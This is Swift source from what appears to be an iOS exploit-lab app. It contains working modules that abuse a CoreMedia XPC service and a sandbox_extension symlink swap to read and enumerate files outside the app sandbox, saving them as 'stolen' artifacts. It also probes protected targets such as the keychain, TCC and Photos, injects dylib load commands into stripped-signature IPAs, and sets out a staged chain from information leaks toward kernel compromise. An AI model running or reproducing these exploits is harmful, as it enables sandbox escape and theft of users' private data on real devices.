同一原语附带三项能力:对受保护目录 'Curl' 返回目录描述符,fdopendir/readdir 可枚举其内容;真实但被拒的路径返回 -12203,不存在的路径返回 -17913,构成存在性预言机。iOS 27.0 封堵了 read / fdsc / getL 三个辅助 opcode(-16158),但 Curl 创建回复内的主描述符发放路径保持完整 —— 27.0 与 27.0.1 均已端到端验证。可读域经 27 个目标双向映射,仅 /private/var/mobile/Media/iTunes_Control/iTunes/ 可开;照片、信息、通讯录、TCC 数据库、钥匙串、Safari、健康、钱包及其它应用容器一律 -12203。写入路径两版均被拒(-12878),故该原语为读 / 枚举 / 预言机,不含写。
""",
run: { ctx in
ctx.arm("cm.fdleak", "handshake + vend")
var lines: [String] = []
guard let session = FdLeak.Session() else {
ctx.fail("cm.fdleak", tl("无法建立会话"))
throw LabError(message: tl("CoreMedia 符号解析失败,或 XPC 连接无法创建"))
}
defer { session.shutdown() }
lines.append(contentsOf: session.handshakeLog)
lines.append(tl("握手建立: ") + "\(session.established)")
if !session.established {
// Two very different situations look identical from here, so separate
// them: no reply at all means nothing is listening (simulator, or the
// service was removed); a reply that is not a dictionary means the
// daemon answered and refused.
let answered = session.replyTypes.contains { $0 == "dictionary" }
let silent = session.replyTypes.allSatisfy { $0 == "timeout" || $0 == "nil" }
lines.append("")
lines.append(tl("— 判定 —"))
lines.append(tl("连接对象已创建: ") + "\(session.connectionCreated)")
lines.append(tl("回复类型: ") + "\(session.replyTypes.joined(separator: ", "))")
let simulator: Bool = {
#if targetEnvironment(simulator)
return true
#else
return false
#endif
}()
if silent && simulator {
lines.append(tl("当前为模拟器:模拟器内不运行 mediaplaybackd,该 Mach 服务无人监听,"))
lines.append(tl("因此握手收不到任何回复。真机上该服务常驻,握手应返回字典。"))
} else if silent {
lines.append(tl("服务无人监听 —— 该构建可能已移除或重命名该 Mach 服务。"))
} else if !answered {
lines.append(tl("服务有回复但非字典 —— 握手被拒绝。"))
}
ctx.disarm("cm.fdleak", "handshake failed")
return ModuleOutcome(headline: silent ? tl("服务无人监听(本平台不适用)") : tl("握手被拒绝"),
detail: lines.joined(separator: "\n"))
}
// control: the app's own open() on the same path must fail
lines.append("")
lines.append(tl("— 对照 —"))
lines.append(session.directOpenControl(FdLeak.readableDomain))
// existence oracle
lines.append("")
lines.append(tl("— 存在性预言机 —"))
for path in [FdLeak.readableDomain,
FdLeak.readableDomain + "/cinder27_no_such_file"] {
let e = session.probeExistence(path)
let verdict = e.code == 0 ? tl("可开") :
(e.code == FdLeak.errAccessDenied ? tl("存在但被拒 (-12203)") :
(e.code == FdLeak.errNoSuchFile ? tl("不存在 (-17913)") : tl("错误码 ") + "\(e.code)"))
lines.append("\(verdict) \(path)")
}
// directory enumeration
lines.append("")
lines.append(tl("— 目录枚举 —"))
let listing = session.list(FdLeak.readableDomain)
lines.append(tl("条目 ") + "\(listing.entries.count)" + tl(" 个(mode ") + "\(String(listing.vend.mode, radix: 8))" + tl(")"))
for name in listing.entries.prefix(20) {
lines.append(" · \(name)")
}
// file theft
lines.append("")
lines.append(tl("— 读取 —"))
var stolen: [URL] = []
var totalBytes = 0
for (label, path) in FdLeak.knownTargets {
let (data, vend) = session.read(path)
if let data = data {
totalBytes += data.count
let url = ctx.write("stolen_\(label)", data)
stolen.append(url)
let head = data.prefix(16).map { String(format: "%02x", $0) }.joined()
lines.append("✓ \(label) \(data.count) B uid=\(vend.uid) head=\(head)")
} else {
lines.append("✗ \(label) \(vend.note)")
}
}
ctx.disarm("cm.fdleak", "bytes=\(totalBytes)")
return ModuleOutcome(
headline: totalBytes > 0 ? tl("跨沙盒读取 ") + "\(totalBytes)" + tl(" 字节") : tl("未取到数据"),
detail: lines.joined(separator: "\n"),
evidence: [
tl("对照: 应用自身 open() 被 EPERM 拒绝"),
tl("守护进程以自身凭据打开客户端指定的路径"),
tl("可读域: ") + "\(FdLeak.readableDomain)",
tl("iOS 27.2 起修复"),
],
artifacts: stolen)
}),
ExploitModule(
id: "sbx.toctou",
titleZh: "sandbox_extension 符号链接 TOCTOU 越界读",
cve: "",
component: "libsystem_sandbox · sandbox_extension_issue_file",
primitive: .oobRead,
reach: .inProcess,
tier: 1,
summaryZh: """
sandbox_extension_issue_file 在签发时解析符号链接,但不强制 SANDBOX_EXTENSION_NOFOLLOW。签发返回的令牌因此绑定的是签发时刻解析出的目标,而内核对消费时刻所用路径是否为令牌签发路径不做复核。构造顺序为:沙盒内建立符号链接 L 指向沙盒内文件 S;对 L 签发扩展(内核记录 S);将 L 重指向沙盒外目标 T;消费令牌后经 L 读取。内核放行的是 S 所属的类别,而实际打开的是 T 的路径。
""",
notesZh: """
该序列确定性成立,不需要竞态窗口 —— 链接切换发生在应用自身控制的两次系统调用之间,而非与内核并发。Apple 的立场是应用无法为不属于自己的路径签发扩展;这一前提成立,但与本问题无关:扩展是为应用确实拥有的路径签发的,随后该路径被改为指向别处。Apple 未将此视为安全问题,因此没有 CVE 编号,此处也不杜撰。可靠目标是 /etc 下的若干文件 —— 它们在 vnode 层可读,仅被沙盒配置文件拒绝,正是该原语跨越的缺口。
""",
run: { ctx in
ctx.arm("sbx.toctou", "swap read")
var lines: [String] = []
guard SandboxExtension.available else {
ctx.fail("sbx.toctou", tl("符号不可用"))
throw LabError(message: tl("sandbox_extension_issue_file / consume 无法解析"))
}
let link = ctx.workdir.appendingPathComponent("cinder27_link")
let decoy = ctx.workdir.appendingPathComponent("cinder27_decoy")
var bypassed = 0
var noSandbox = 0
var blocked = 0
var totalBytes = 0
var artifacts: [URL] = []
for (target, label) in SandboxExtension.knownTargets {
let r = SandboxExtension.readThroughSwap(target: target, link: link, decoy: decoy)
switch r.verdict {
case .bypassed:
bypassed += 1
totalBytes += r.bytes
if let data = r.data {
let name = target.replacingOccurrences(of: "/", with: "_")
artifacts.append(ctx.write("symlink_\(name)", data))
}
lines.append("✓ \(target) \(r.bytes) B — \(label)")
lines.append(tl(" 直接读 errno=") + "\(r.directErrno)" + tl(",经链接读到内容"))
lines.append(" \(r.preview)")
case .noSandbox:
noSandbox += 1
lines.append(tl("· ") + "\(target)" + tl(" 直接读也成功 ") + "\(r.directBytes)" + tl(" B — 该平台未施加沙盒"))
case .blocked:
blocked += 1
lines.append(tl("✗ ") + "\(target)" + tl(" 直接读 errno=") + "\(r.directErrno)" + tl(",经链接亦失败"))
case .empty:
lines.append(tl("· ") + "\(target)" + tl(" 未读到内容 — ") + "\(r.note)")
}
}
let simulator: Bool = {
#if targetEnvironment(simulator)
return true
#else
return false
#endif
}()
lines.append("")
lines.append(tl("— 判定 —"))
lines.append(tl("跨越边界 ") + "\(bypassed)" + tl(" · 无沙盒 ") + "\(noSandbox)" + tl(" · 受阻 ") + "\(blocked)")
if simulator && bypassed == 0 {
lines.append(tl("当前为模拟器:模拟器不对应用施加沙盒,直接读与经链接读都会成功,"))
lines.append(tl("因此该原语在此平台上无法给出证据。真机上直接读应返回 EPERM,"))
lines.append(tl("届时「直接读被拒 + 经链接读成功」即为越界成立的判定。"))
}
ctx.disarm("sbx.toctou", "bypassed=\(bypassed) nosandbox=\(noSandbox) blocked=\(blocked)")
let headline: String
if bypassed > 0 {
headline = tl("越过沙盒读取 ") + "\(bypassed)" + tl(" 个文件,共 ") + "\(totalBytes)" + tl(" 字节")
} else if noSandbox > 0 {
headline = tl("该平台未施加沙盒 — 无证据")
} else {
headline = tl("该构建上未越界")
}
return ModuleOutcome(
headline: headline,
detail: lines.joined(separator: "\n"),
evidence: [
tl("签发时解析链接目标,消费时不复核路径"),
tl("无需竞态窗口"),
tl("Apple 未将其视为安全问题,无 CVE"),
tl("判定依据:直接读被拒 且 经链接读成功"),
],
artifacts: artifacts)
}),
ExploitModule(
id: "cm.fdleak.boundary",
titleZh: "跨沙盒可读域边界测绘",
cve: "CVE-2026-112706",
component: "CoreMedia · mediaplaybackd.bytestream.xpc",
primitive: .probe,
reach: .systemProcess,
tier: 2,
summaryZh: """
对 15 个高价值目标逐一施加 'Curl' 探测,记录守护进程返回的服务端错误码,据此确定该原语的实际可读域。区分三种结果:可开、存在但被拒(-12203)、不存在(-17913)。这一轮的价值在于把负结果留在记录上 —— 一个被拒绝的目标与一个未被测试的目标,在结论上完全不同。
""",
notesZh: """
源研究在 26.5 与 27.0 上共探测 27 个目标,结论一致:仅 iTunes 媒体库目录可开。照片库、信息、通讯录、TCC、钥匙串、Safari、健康、钱包、其它应用容器与共享 App Group 全部拒绝。此模块复现该测绘,使边界成为本机上的实测数据而非引用。
""",
run: { ctx in
ctx.arm("cm.fdleak.boundary", "probe 15 targets")
guard let session = FdLeak.Session() else {
ctx.fail("cm.fdleak.boundary", tl("符号解析失败"))
return ModuleOutcome(headline: tl("CoreMedia 符号不可用"),
detail: tl("无法 dlopen CoreMedia 或解析 FigXPC 入口"))
}
defer { session.shutdown() }
guard session.established else {
// No daemon on this platform (simulator) or the service was removed.
let silent = session.replyTypes.allSatisfy { $0 == "timeout" || $0 == "nil" }
ctx.disarm("cm.fdleak.boundary", "no session")
var lines = session.handshakeLog
lines.append("")
lines.append(tl("回复类型: ") + "\(session.replyTypes.joined(separator: ", "))")
lines.append(silent
? tl("该 Mach 服务无人监听 —— 本平台不适用(模拟器内不运行 mediaplaybackd)。真机上该服务常驻。")
: tl("服务有回复但握手被拒绝。"))
return ModuleOutcome(headline: silent ? tl("服务无人监听(本平台不适用)") : tl("握手被拒绝"),
detail: lines.joined(separator: "\n"))
}
var lines: [String] = []
var reachable = 0, denied = 0, absent = 0
for path in FdLeak.boundaryProbes {
let e = session.probeExistence(path)
switch e.code {
case 0:
reachable += 1
lines.append(tl("可开 ") + "\(path)")
case FdLeak.errAccessDenied:
denied += 1
lines.append(tl("存在·被拒 ") + "\(path)")
case FdLeak.errNoSuchFile:
absent += 1
lines.append(tl("不存在 ") + "\(path)")
default:
lines.append(tl("码 ") + "\(e.code)" + tl(" ") + "\(path)")
}
}
ctx.disarm("cm.fdleak.boundary", "r=\(reachable) d=\(denied) a=\(absent)")
return ModuleOutcome(
headline: "\(reachable)" + tl(" 可开 · ") + "\(denied)" + tl(" 存在但被拒 · ") + "\(absent)" + tl(" 不存在"),
detail: lines.joined(separator: "\n"),
evidence: [tl("-12203 = 存在但被拒"), tl("-17913 = 不存在")])
}),
]
}
+428
View File
@@ -0,0 +1,428 @@
import Foundation
import UIKit
// MARK: - Self-tests for the modification tooling
//
// These run inside the app so the tooling proves itself on the device it will be used on,
// rather than only on the build machine. Each one builds its own fixture, exercises one
// tool, and reports the artifact.
extension Catalog {
static let tooling: [ExploitModule] = [
ExploitModule(
id: "tool.ipa",
titleZh: "IPA 手术自检(改包名 / 注入 / 重签名准备)",
cve: "—",
component: "IPASurgeon · MachO · ZipWriter",
primitive: .probe,
reach: .inProcess,
tier: 1,
summaryZh: "现场造一个最小 IPA(Info.plist + 一个真的 Mach-O),跑完整的改机流程:解包 → 改 CFBundleIdentifier → 注入 LC_LOAD_DYLIB → 去掉 LC_CODE_SIGNATURE → 用自己写的 ZIP 写入器重新打包。产出留在 Documents/Cinder27/IPA,可以直接拿去签名。",
notesZh: "这条不是漏洞,是工具链的证明。它跑通说明 IPA 面板在你的设备上能用,而不是只在构建机上能用。",
run: { ctx in
ctx.arm("tool.ipa", "fixture + patch")
var lines: [String] = []
// ---- fixture: a real arm64 Mach-O from this process
guard let exec = Bundle.main.executablePath,
let macho = try? Data(contentsOf: URL(fileURLWithPath: exec)) else {
ctx.fail("tool.ipa", tl("无法读取自身二进制"))
throw LabError(message: tl("无法读取自身二进制"))
}
let header = MachO.header(macho)
lines.append(tl("取自本进程的 Mach-O:") + "\(macho.count)" + tl(" B · 64 位=") + "\(header?.is64 ?? false)" + tl(" · ncmds=") + "\(header?.ncmds ?? 0)")
// ---- signature strip first, so injection writes into a clean header
var working = macho
if let (stripped, removed) = try? MachO.stripSignature(macho) {
working = stripped
lines.append(tl("移除 LC_CODE_SIGNATURE:") + "\(removed)" + tl(" 条"))
}
// ---- exercise the load-command injector, and carry the result forward
do {
let injected = try MachO.injectLoad(working, dylibPath: "@executable_path/Frameworks/CinderHook.dylib")
let after = MachO.header(injected)
let cmds = MachO.commands(injected)
let hasHook = cmds.contains { $0.cmd == 0x0C }
lines.append(tl("注入 LC_LOAD_DYLIB:ncmds ") + "\(MachO.header(working)?.ncmds ?? 0)" + tl(" → ") + "\(after?.ncmds ?? 0)" + tl(",sizeofcmds ") + "\(MachO.header(working)?.sizeofcmds ?? 0)" + tl(" → ") + "\(after?.sizeofcmds ?? 0)" + tl(",命令数 ") + "\(cmds.count)" + tl(",含 LC_LOAD_DYLIB=") + "\(hasHook)")
working = injected
} catch {
lines.append(tl("注入未成功(头部无空隙):") + "\(error.localizedDescription)")
}
// ---- exercise the string patcher on a string the binary really contains
do {
let (patched, hits) = try MachO.patchStrings(working, find: "Cinder27", replace: "Cind3r27")
lines.append(tl("字符串替换 Cinder27 → Cind3r27:") + "\(hits)" + tl(" 处"))
working = patched
} catch {
lines.append(tl("字符串替换失败:") + "\(error.localizedDescription)")
}
// ---- build the fixture IPA and run the full surgeon
var zip = ZipWriter()
var info: [String: Any] = [
"CFBundleIdentifier": "com.cinder.fixture",
"CFBundleExecutable": "Fixture",
"CFBundleName": "Fixture",
"CFBundleDisplayName": "Fixture",
"CFBundleShortVersionString": "1.0",
"CFBundleVersion": "1",
"MinimumOSVersion": "17.0",
"CFBundlePackageType": "APPL",
]
if let data = try? PropertyListSerialization.data(fromPropertyList: info, format: .binary, options: 0) {
zip.add("Payload/Fixture.app/Info.plist", data)
}
zip.add("Payload/Fixture.app/Fixture", working)
let fixture = zip.build()
let fixtureURL = ctx.write("fixture.ipa", fixture)
lines.append(tl("自造 IPA:") + "\(fixture.count)" + tl(" B(ZipWriter 产出,stored 条目)"))
var recipe = IPARecipe()
recipe.bundleID = "com.cinder.patched"
recipe.displayName = "Patched"
recipe.version = "9.9"
recipe.injectedDylib = "@executable_path/Frameworks/CinderHook.dylib"
recipe.patchedString = "com.cinder.fixture"
recipe.patchedReplacement = "com.cinder.patched"
recipe.stripSignature = true
var output: URL?
do {
let result = try IPASurgeon.patch(source: fixtureURL, recipe: recipe, workdir: ctx.workdir)
output = result.outputURL
lines.append(tl("手术完成:") + "\(result.entries)" + tl(" 个文件 → ") + "\(result.outputURL.lastPathComponent)")
for note in result.notes { lines.append(" · \(note)") }
} catch {
lines.append(tl("手术失败:") + "\(error.localizedDescription)")
}
ctx.disarm("tool.ipa", "done")
var artifacts: [URL] = [fixtureURL]
if let o = output { artifacts.append(o) }
return ModuleOutcome(headline: output == nil ? tl("手术未完成") : tl("IPA 手术链路可用"),
detail: lines.joined(separator: "\n"),
artifacts: artifacts)
}),
ExploitModule(
id: "tool.zip",
titleZh: "ZIP 写入器往返自检",
cve: "—",
component: "ZipWriter + libarchive",
primitive: .probe,
reach: .inProcess,
tier: 1,
summaryZh: "用自己写的 ZIP 写入器造一个含随机内容的归档,再用 libarchive 解回来,逐字节比对。这条证明重打包不会悄悄损坏文件 —— 改机工具最怕的就是这个。",
notesZh: "64 个文件,每个 4 KB 随机内容,比对 CRC 与长度。",
run: { ctx in
ctx.arm("tool.zip", "roundtrip")
var zip = ZipWriter()
var expected: [String: Data] = [:]
var seed: UInt64 = 0x9E3779B97F4A7C15
for i in 0..<64 {
var bytes = [UInt8]()
for _ in 0..<4096 {
seed ^= seed << 13; seed ^= seed >> 7; seed ^= seed << 17
bytes.append(UInt8(truncatingIfNeeded: seed))
}
let name = "dir\(i % 8)/file\(i).bin"
let data = Data(bytes)
expected[name] = data
zip.add(name, data)
}
let archive = zip.build()
let url = ctx.write("zip_roundtrip.zip", archive)
let dir = ctx.workdir.appendingPathComponent("zipcheck", isDirectory: true)
try? FileManager.default.removeItem(at: dir)
let result = Runners.Archive.extractAll(archive, to: dir)
var matched = 0
var mismatched = 0
for (name, data) in expected {
let path = dir.appendingPathComponent(name)
if let back = try? Data(contentsOf: path), back == data {
matched += 1
} else {
mismatched += 1
}
}
ctx.disarm("tool.zip", "matched=\(matched)")
return ModuleOutcome(
headline: mismatched == 0 && matched == expected.count
? "\(matched)" + tl("/") + "\(expected.count)" + tl(" 个文件逐字节一致")
: "\(matched)" + tl(" 一致 / ") + "\(mismatched)" + tl(" 不一致"),
detail: tl("归档 ") + "\(archive.count)" + tl(" B · 解包 ") + "\(result.count)" + tl(" 项 · ") + "\(result.status)",
evidence: [tl("64 × 4 KB 随机内容"), tl("自己写 ZIP → libarchive 读回")],
artifacts: [url])
}),
ExploitModule(
id: "tool.macho",
titleZh: "Mach-O 解析器自检",
cve: "—",
component: "MachO · MachOInspector",
primitive: .probe,
reach: .inProcess,
tier: 1,
summaryZh: "对系统卷上的几个真实二进制跑一遍头解析:架构、类型、平台、最低系统、SDK、加密状态、链接库、rpath。加密状态是这一整套里最有信息量的字段 —— 系统框架 cryptid 为 0,第三方 App 的二进制不是。",
notesZh: "同时跑我自己写的解析器和 MachOInspector,两个结果应该一致。",
run: { ctx in
ctx.arm("tool.macho", "parse")
let targets: [(String, String)] = [
("CoreGraphics", "/System/Library/Frameworks/CoreGraphics.framework/CoreGraphics"),
("CoreMedia", "/System/Library/Frameworks/CoreMedia.framework/CoreMedia"),
("libarchive", "/usr/lib/libarchive.2.dylib"),
("ImageIO", "/System/Library/Frameworks/ImageIO.framework/ImageIO"),
(tl("本进程"), Bundle.main.executablePath ?? ""),
]
var lines: [String] = []
var parsed = 0
for (label, path) in targets {
guard FileManager.default.fileExists(atPath: path) else {
lines.append("\(label)" + tl(": 不可见"))
continue
}
guard let data = try? Data(contentsOf: URL(fileURLWithPath: path)) else {
lines.append("\(label)" + tl(": 读取被拒绝(沙盒)"))
continue
}
parsed += 1
if let h = MachO.header(data) {
let cmds = MachO.commands(data)
lines.append("\(label)" + tl(": ") + "\(data.count)" + tl(" B · ncmds=") + "\(h.ncmds)" + tl(" 解析出 ") + "\(cmds.count)" + tl(" 条 · type=") + "\(h.filetype)" + tl(" · 64=") + "\(h.is64)")
}
if let info = MachOInspector.inspect(path) {
lines.append(tl(" ") + "\(info.arch)" + tl(" · ") + "\(info.platform)" + tl(" · minOS ") + "\(info.minOS)" + tl(" · SDK ") + "\(info.sdk)" + tl(" · 加密=") + "\(info.isEncrypted)" + tl(" · 库 ") + "\(info.linkedLibraries.count)")
}
}
ctx.disarm("tool.macho", "parsed=\(parsed)")
return ModuleOutcome(headline: tl("解析 ") + "\(parsed)" + tl(" 个二进制"),
detail: lines.joined(separator: "\n"))
}),
ExploitModule(
id: "tool.hex",
titleZh: "十六进制查找替换自检",
cve: "—",
component: "HexTool",
primitive: .probe,
reach: .inProcess,
tier: 1,
summaryZh: "在随机缓冲里植入已知模式,用十六进制与文本两种写法查找、替换、再查找,确认命中数与偏移都对。",
notesZh: "这条守的是「改机工具最不该出错的地方」。",
run: { ctx in
ctx.arm("tool.hex", "roundtrip")
var bytes = [UInt8](repeating: 0x00, count: 65536)
let needle: [UInt8] = [0xDE, 0xAD, 0xBE, 0xEF]
var planted: [Int] = []
for i in stride(from: 1000, to: 60000, by: 4096) {
for k in 0..<needle.count { bytes[i + k] = needle[k] }
planted.append(i)
}
let buffer = Data(bytes)
let hexHits = HexTool.search(buffer, pattern: "DE AD BE EF")
let rawHits = HexTool.search(buffer, pattern: "0xdeadbeef")
let textHits = HexTool.search(buffer, pattern: "Cinder27")
let (patched, count) = HexTool.replace(buffer, pattern: "DE AD BE EF", with: "CA FE BA BE")
let after = HexTool.search(patched, pattern: "CA FE BA BE")
let leftover = HexTool.search(patched, pattern: "DE AD BE EF")
ctx.disarm("tool.hex", "done")
var lines = [
tl("植入 ") + "\(planted.count)" + tl(" 处 @ ") + "\(planted.prefix(4).map { String(format: "0x%x", $0) }.joined(separator: ", "))",
tl("十六进制查找: ") + "\(hexHits.count)" + tl(" 处 · 偏移一致=") + "\(hexHits == planted)",
tl("0x 前缀写法: ") + "\(rawHits.count)" + tl(" 处 · 偏移一致=") + "\(rawHits == planted)",
tl("文本查找 Cinder27: ") + "\(textHits.count)" + tl(" 处(应为 0)"),
tl("替换: ") + "\(count)" + tl(" 处 → 新模式 ") + "\(after.count)" + tl(" 处 · 旧模式残留 ") + "\(leftover.count)" + tl(" 处"),
]
let ok = hexHits == planted && rawHits == planted && after.count == planted.count && leftover.isEmpty
if !ok { lines.append(tl("有断言不成立")) }
return ModuleOutcome(headline: ok ? tl("查找替换全部断言通过") : tl("有断言失败"),
detail: lines.joined(separator: "\n"))
}),
ExploitModule(
id: "tool.container",
titleZh: "容器读写正常化(数据容器自检 + 修复)",
cve: "—",
component: "Container · ensureAll / probe / repair / normalize",
primitive: .probe,
reach: .inProcess,
tier: 1,
summaryZh: "把数据容器里每一个工具会用到的目录逐个解析、创建、然后真的建文件写一遍、fsync、读回、比对、删除。之前「容器内读写失败」的四个真实原因都在这里被点名:目录只是 URL 不是目录、isWritableFile 是坏探针、容器 UUID 会变、Library/Preferences 归 cfprefsd。",
notesZh: "跑完会留下 container_health.txt。修复动作是幂等的,每次启动都会再跑一遍。",
run: { ctx in
ctx.arm("tool.container", "ensure + probe")
var lines: [String] = []
lines.append(tl("容器根: ") + "\(Container.rootPath)")
let created = Container.ensureAll()
lines.append(created.isEmpty ? tl("所有标准目录已存在") : tl("本次新建: ") + "\(created.joined(separator: ", "))")
var okCount = 0
for (standard, probe) in Container.health() {
if probe.ok { okCount += 1 }
let state = probe.ok ? "RW" : probe.note
lines.append("\(probe.ok ? "✓" : "✗") \(standard.name.padding(toLength: 20, withPad: " ", startingAt: 0)) \(state) \(Container.shortPath(probe.url))")
}
lines.append(tl("合计 ") + "\(okCount)" + tl("/") + "\(Container.standards.count)" + tl(" 个目录读写正常"))
// prove the four failure modes are actually handled now
lines.append("")
lines.append(tl("— 失效模式验证 —"))
// 1. a directory that does not exist yet
let fresh = Container.rootPath + "/Documents/Cinder27/deep/nested/probe"
let freshProbe = Container.probe(URL(fileURLWithPath: fresh, isDirectory: true))
lines.append(tl("1. 不存在的深层目录自动创建: ") + "\(freshProbe.ok ? tl("通过") : freshProbe.note)")
// 2. write through Container.write (ensures parent)
do {
let url = try Container.write("probe", to: Container.rootPath + "/Documents/Cinder27/deep/written.txt")
let back = (try? String(contentsOf: url, encoding: .utf8)) ?? ""
lines.append(tl("2. Container.write 自动建父目录: 通过(读回 \"") + "\(back)" + tl("\")"))
} catch {
lines.append(tl("2. Container.write: 失败 ") + "\(Container.describe(errno))")
}
// 3. stale container UUID re-rooting
let stale = "/var/mobile/Containers/Data/Application/00000000-1111-2222-3333-444444444444/Documents/legacy.txt"
let rerooted = Container.normalize(stale)
lines.append(tl("3. 旧 UUID 路径重挂: ") + "\(stale)")
lines.append(" → \(rerooted)")
lines.append(tl(" 落在当前容器内: ") + "\(rerooted.hasPrefix(Container.rootPath))")
// 4. real write probe vs isWritableFile
let rootURL = Container.root
let fm = FileManager.default
let accessSays = fm.isWritableFile(atPath: rootURL.path)
let probeSays = Container.probe(rootURL).canWrite
lines.append(tl("4. isWritableFile(容器根)=") + "\(accessSays)" + tl(" · 真实写探针=") + "\(probeSays)" +
(accessSays != probeSays ? tl(" ← 两者不一致,说明 access() 不可信") : ""))
if let free = Container.freeSpace() {
lines.append(tl("可用空间: ") + "\(ByteCountFormatter.string(fromByteCount: free, countStyle: .file))")
}
if let used = Container.usedSpace() {
lines.append(tl("容器占用: ") + "\(ByteCountFormatter.string(fromByteCount: used, countStyle: .file))")
}
let report = lines.joined(separator: "\n")
let url = ctx.write("container_health.txt", Data(report.utf8))
ctx.disarm("tool.container", "ok=\(okCount)")
return ModuleOutcome(headline: "\(okCount)" + tl("/") + "\(Container.standards.count)" + tl(" 目录读写正常"),
detail: report,
evidence: [tl("探针 = 建文件 → 写 → fsync → 读回 → 比对 → 删除")],
artifacts: [url])
}),
ExploitModule(
id: "tool.backup",
titleZh: "备份 / 回滚往返自检",
cve: "—",
component: "BackupPane · ZipWriter · libarchive",
primitive: .probe,
reach: .inProcess,
tier: 1,
summaryZh: "在容器里放一组已知内容的文件,打包成 ZIP,解到另一个目录,逐字节比对,再删掉。这条守的是「备份能不能真的回滚」——上一版写的是自造格式却叫 .tar,解不回来。",
notesZh: "同时验证解包时 ../ 与符号链接出不了目标目录。",
run: { ctx in
ctx.arm("tool.backup", "roundtrip")
let fm = FileManager.default
let src = ctx.workdir.appendingPathComponent("backup_src", isDirectory: true)
let dst = ctx.workdir.appendingPathComponent("backup_dst", isDirectory: true)
try? fm.removeItem(at: src)
try? fm.removeItem(at: dst)
try? fm.createDirectory(at: src, withIntermediateDirectories: true)
var expected: [String: Data] = [:]
for i in 0..<12 {
let name = "sub\(i % 3)/note\(i).txt"
let body = Data("cinder27 backup probe \(i) — \(UUID().uuidString)".utf8)
expected[name] = body
let path = src.appendingPathComponent(name)
try? fm.createDirectory(at: path.deletingLastPathComponent(), withIntermediateDirectories: true)
try? body.write(to: path)
}
var zip = ZipWriter()
if let enumerator = fm.enumerator(at: src, includingPropertiesForKeys: [.isRegularFileKey]) {
for case let url as URL in enumerator {
guard let v = try? url.resourceValues(forKeys: [.isRegularFileKey]),
v.isRegularFile == true,
let data = try? Data(contentsOf: url) else { continue }
zip.add(url.path.replacingOccurrences(of: src.path + "/", with: ""), data)
}
}
let archive = zip.build()
let archiveURL = ctx.write("backup_probe.zip", archive)
let result = Runners.Archive.extractAll(archive, to: dst)
var matched = 0
var mismatched = 0
for (name, data) in expected {
if let back = try? Data(contentsOf: dst.appendingPathComponent(name)), back == data {
matched += 1
} else {
mismatched += 1
}
}
// containment: a traversal entry must not escape the destination
var evil = ZipWriter()
evil.add("../escaped.txt", Data("should not escape".utf8))
let evilURL = ctx.write("traversal_probe.zip", evil.build())
let escapeTarget = ctx.workdir.appendingPathComponent("escape_target", isDirectory: true)
try? fm.createDirectory(at: escapeTarget, withIntermediateDirectories: true)
_ = Runners.Archive.extractAll(evil.build(), to: escapeTarget)
let escaped = fm.fileExists(atPath: ctx.workdir.appendingPathComponent("escaped.txt").path)
_ = evilURL
ctx.disarm("tool.backup", "matched=\(matched)")
return ModuleOutcome(
headline: mismatched == 0 ? tl("备份往返 ") + "\(matched)" + tl("/") + "\(expected.count)" + tl(" 一致") : "\(matched)" + tl(" 一致 / ") + "\(mismatched)" + tl(" 不一致"),
detail: [
tl("归档 ") + "\(archive.count)" + tl(" B · 解包 ") + "\(result.count)" + tl(" 项"),
tl("逐字节比对: ") + "\(matched)" + tl("/") + "\(expected.count)",
tl("路径穿越遏制: ") + "\(escaped ? tl("失败 —— ../ 逃出了目标目录") : tl("有效(../ 未逃出)"))",
].joined(separator: "\n"),
artifacts: [archiveURL])
}),
ExploitModule(
id: "tool.paths",
titleZh: "文件系统权限矩阵全扫",
cve: "—",
component: "Probe · FileManager",
primitive: .probe,
reach: .inProcess,
tier: 1,
summaryZh: "把 30 多个关键路径逐个试读试写,记录可读/可写/条目数/errno。这是改机工具的活动范围地图 —— 它决定了所有面板能做到哪里为止。",
notesZh: "结果同时会写进 Documents 里一份文本,方便对照。",
run: { ctx in
ctx.arm("tool.paths", "scan")
var lines: [String] = []
var readable = 0, writable = 0
for path in Probe.interestingRoots {
let p = Probe.path(path)
if p.readable { readable += 1 }
if p.writable { writable += 1 }
let mark = p.readable ? (p.writable ? "RW" : "R ") : "--"
lines.append("\(mark) \(path) \(p.readable ? "\(p.entryCount) " + tl("项") : p.note)")
}
let report = lines.joined(separator: "\n")
let url = ctx.write("path_matrix.txt", Data(report.utf8))
ctx.disarm("tool.paths", "r=\(readable) w=\(writable)")
return ModuleOutcome(headline: "\(readable)" + tl(" 个可读 · ") + "\(writable)" + tl(" 个可写"),
detail: report, artifacts: [url])
}),
]
}
+275
View File
@@ -0,0 +1,275 @@
import SwiftUI
// MARK: - Chain
struct ChainStage: Identifiable {
let id: String
let index: Int
let title: String
let goal: String
let moduleIDs: [String]
let unlock: String
}
enum ChainPlan {
static let stages: [ChainStage] = [
ChainStage(id: "s0", index: 0,
title: tl("权限面测绘"),
goal: tl("确定该构建上的实际起点:进程持有哪些 entitlement、沙盒放行到哪一层、mach 命名空间如何组织。后续每一步的收益都要以该基线折算。"),
moduleIDs: ["probe.privset", "kern.baseline"],
unlock: tl("缺少该基线,无法区分「漏洞所得」与「签名所授」。")),
ChainStage(id: "s1", index: 1,
title: tl("信息泄露"),
goal: tl("先取得地址与内容。decmpfs 欠产出将内核页缓冲尾部交回用户态;TIFF 截断条带与 EXIF 短读将进程堆残留交回图像与元数据;CoreMedia bytestream 与 sandbox_extension 越过沙盒边界取回文件内容。"),
moduleIDs: ["kern.decmpfs", "iio.tiff.trunc", "iio.jpeg.comment",
"cm.fdleak", "sbx.toctou"],
unlock: tl("在取得稳定泄露之后,才有条件讨论将溢出写成什么值;否则只能触发崩溃。")),
ChainStage(id: "s2", index: 2,
title: tl("溢出阈值标定"),
goal: tl("Type-5 阴影的写入是值可控的,但短溢出会被相邻 VLA 吸收。逐级抬升 R,确定该构建上栈布局开始失效的维度。"),
moduleIDs: ["cg.shading.sweep"],
unlock: tl("该阈值决定后续所有负载的长度预算。")),
ChainStage(id: "s3", index: 3,
title: tl("值可控写"),
goal: tl("在标定所得长度上,以 PDF 中选定的 double 位模式决定被覆盖的指针。崩溃地址即证据 —— 它证明写入内容由攻击者控制,而非仅证明发生了崩溃。"),
moduleIDs: ["cg.shading"],
unlock: tl("值可控写与地址泄露相加,构成构造可控状态的全部要素;所缺的是将写转为执行的环节。")),
ChainStage(id: "s4", index: 4,
title: tl("内核面"),
goal: tl("用户态可触及的内核入口数量有限。ipc_port 请求表索引竞态无 entitlement 门槛;decmpfs 已在泄露层验证。本层度量的是「能否将用户态的错误转为内核侧的状态变化」。"),
